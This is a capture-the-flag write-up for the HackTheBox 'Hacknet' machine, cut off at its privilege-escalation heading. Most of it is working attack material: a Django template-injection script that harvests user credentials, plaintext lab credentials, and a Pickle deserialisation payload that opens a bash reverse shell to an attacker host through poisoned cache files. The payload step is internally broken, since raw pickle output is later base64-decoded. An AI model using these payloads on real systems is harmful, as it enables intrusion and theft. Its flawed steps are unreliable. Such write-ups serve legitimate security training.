HackTheBox - Hacknet Writeup

Machine: Hacknet
Difficulty: Medium
OS: Linux
IP: 10.10.11.85

Summary

Hacknet is a medium-difficulty Linux machine that showcases a Django web application with multiple vulnerabilities. The attack path involves exploiting a Server-Side Template Injection (SSTI) vulnerability combined with an Insecure Direct Object Reference (IDOR) to extract user credentials, followed by lateral movement via Django cache poisoning using Python Pickle deserialization, and finally privilege escalation through GPG-encrypted database backup analysis.

Initial Enumeration

Port Scanning

Starting with a standard nmap scan to identify open services:

nmap -sC -sV -oA nmap/hacknet 10.10.11.85

Web Enumeration

The target runs a web service on port 80. Let's add the domain to our hosts file:

echo "10.10.11.85 hacknet.htb" >> /etc/hosts

Directory and Subdomain Discovery

# Directory enumeration
feroxbuster -u http://hacknet.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json,txt,log -t 50 -e

# Subdomain enumeration  
ffuf -u http://hacknet.htb -H "Host: FUZZ.hacknet.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac

Unfortunately, both feroxbuster and ffuf didn't reveal anything interesting.

Web Application Analysis

Visiting http://hacknet.htb/ reveals a login page. Using Wappalyzer, we can identify that the application is built with the Django Framework.

An image to describe post

The application appears to be a Django-style social media platform with the following key endpoints:

  • /profile - User profile management
  • /profile/edit - Username editing (critical for our exploit)
  • /messages - User messaging
  • /contacts - Contact management
  • /explore - Content discovery
  • /search - Search functionality
  • GET /like/<POST_ID> - Toggle like state (AJAX)
  • GET /likes/<POST_ID> - HTML fragment showing post likers

Initial Access - SSTI Exploitation

Vulnerability Discovery

After registering a new user account, I discovered that the application renders usernames directly within Django templates when displaying the list of post likers at /likes/<id>.

The critical vulnerability lies in how the application handles the username field in the likes functionality. When a user likes a post, their username is rendered in an HTML fragment like this:

<div class="likes-review-item">
    <a href="/profile/<UID>">
        <img src="/media/<pic>" title="<SERVER-RENDERED-CONTENT>">
    </a>
</div>

The value inside the title attribute is rendered using Django's template engine, creating a Server-Side Template Injection (SSTI) vulnerability.

Exploitation Process

Step 1: Change username to SSTI payload

Navigate to /profile/edit and set the username to:

{{users.values}}

Step 2: Like a target post

Send a GET request to like a specific post:

curl -s -b "sessionid=YOUR_SESSION_ID; csrftoken=YOUR_CSRF_TOKEN" \
-H "Host: hacknet.htb" \
-H "X-Requested-With: XMLHttpRequest" \
"http://hacknet.htb/like/23"

Step 3: Extract credentials

Visit /likes/23 to trigger the template injection:

curl -s -b "sessionid=YOUR_SESSION_ID; csrftoken=YOUR_CSRF_TOKEN" \
-H "Host: hacknet.htb" \
"http://hacknet.htb/likes/23"

This returns the full Django QuerySet dump containing user credentials in plaintext!

Automated Credential Extraction

For efficiency, I created a Python script to automate the credential extraction process:

import requests
import re
from bs4 import BeautifulSoup

BASE_URL = "http://hacknet.htb"
COOKIES = {
    "sessionid": "YOUR_SESSION_ID",
    "csrftoken": "YOUR_CSRF_TOKEN",
}
HEADERS = {
    "User-Agent": "Mozilla/4.0",
    "Referer": BASE_URL,
    "X-CSRFToken": COOKIES["csrftoken"],
}
OUTPUT_FILE = "creds.txt"

def extract_creds_from_html(html):
    """Extract credentials from <img title="...">"""
    users = []
    soup = BeautifulSoup(html, "html.parser")
    for img in soup.find_all("img"):
        title = img.get("title")
        if not title:
            continue
        
        # Look for Django QuerySet style dump
        matches = re.findall(
            r"'email': '([^']+)', 'username': '([^']+)', 'password': '([^']+)'",
            title,
        )
        for email, username, password in matches:
            users.append((email, username, password))
    return users

def save_users(users, seen):
    """Saves new users to file, skips duplicates"""
    new_lines = []
    for email, username, password in users:
        key = (email, username)
        if key not in seen:
            seen.add(key)
            new_lines.append(f"{email}:{username}:{password}")
    
    if new_lines:
        with open(OUTPUT_FILE, "a") as f:
            for line in new_lines:
                f.write(line + "\n")
        print(f"[+] Saved {len(new_lines)} new users to {OUTPUT_FILE}")

def main():
    session = requests.Session()
    session.cookies.update(COOKIES)
    session.headers.update(HEADERS)
    seen = set()
    
    for post_id in range(1, 31):  # Check posts 1-30
        like_url = f"{BASE_URL}/like/{post_id}"
        likes_url = f"{BASE_URL}/likes/{post_id}"
        
        # Like the post to appear in likers
        session.get(like_url)
        
        # Fetch the likers page
        r = session.get(likes_url)
        creds = extract_creds_from_html(r.text)
        print(f"[DEBUG] Post {post_id} → Found {len(creds)} credentials")
        save_users(creds, seen)

if __name__ == "__main__":
    main()

Extracted Credentials

The script successfully extracted multiple credentials, with the most important being:

[email protected]:backdoor_bandit:mYd4rks1dEisH3re

User Flag

With the extracted credentials, we can establish SSH access:

ssh [email protected]
# Password: mYd4rks1dEisH3re

Once logged in as mikey, we can retrieve the user flag:

cat /home/mikey/user.txt

Lateral Movement - Django Cache Poisoning

Privilege Assessment

After gaining access as mikey, let's check our privileges:

sudo -l  # No sudo rights
ls /home  # Shows another user: sandy

The mikey user doesn't have sudo privileges, but there's another user named sandy on the system.

Django Cache Discovery

Since we know the application uses Django, let's investigate the cache directory:

ls -ld /var/tmp/django_cache
# drwxrwxrwx 3 sandy www-data 4096 date /var/tmp/django_cache

Key observations:

  • Directory is world-writable (777 permissions)
  • Owned by user sandy and group www-data
  • Django stores cache as Pickle files here

Python Pickle Deserialization Attack

Django's FileBasedCache stores serialized Python objects using the Pickle module. Since the directory is world-writable, we can overwrite cache files with malicious Pickle payloads.

Step 1: Create the malicious payload

#!/usr/bin/env python3
import os, pickle, time, sys

LHOST="10.10.14.XX"  # Your tun0 IP
LPORT=4422           # Your listener port

class Exploit:
    def __reduce__(self):
        return (os.system,(f'bash -c "bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"',))

expiry = str(int(time.time()) + 600).encode() + b"\n"  # epoch + LF
sys.stdout.buffer.write(expiry + pickle.dumps(Exploit(), protocol=pickle.HIGHEST_PROTOCOL))

Step 2: Generate and upload payload

# On Kali
nc -lvnp 4422  # Start listener
python3 exploit.py > payload.b64

# Upload to target
scp payload.b64 [email protected]:/tmp/

Step 3: Warm the cache and identify recent files

# Trigger Django to create cache files
curl -H "Cookie: sessionid=YOUR_SESSION_ID; csrftoken=YOUR_CSRF_TOKEN" \
http://hacknet.htb/explore >/dev/null

# List recent cache files
ls -lt /var/tmp/django_cache/*.djcache | head

Step 4: Overwrite cache files with payload

cd /var/tmp/django_cache
for i in 1f0acfe7480a469402f1852f8313db86.djcache 90dbab8f3b1e54369abdeb4ba1efc106.djcache; do
    rm -f $i
    cat /tmp/payload.b64 | base64 -d > $i
    chmod 777 $i
done

Step 5: Trigger payload execution

curl -H "Cookie: sessionid=YOUR_SESSION_ID; csrftoken=YOUR_CSRF_TOKEN" \
http://hacknet.htb/explore >/dev/null

This triggers Django to load and deserialize our malicious cache file, executing our reverse shell payload as the sandy user.

Privilege Escalation - GPG Key Analysis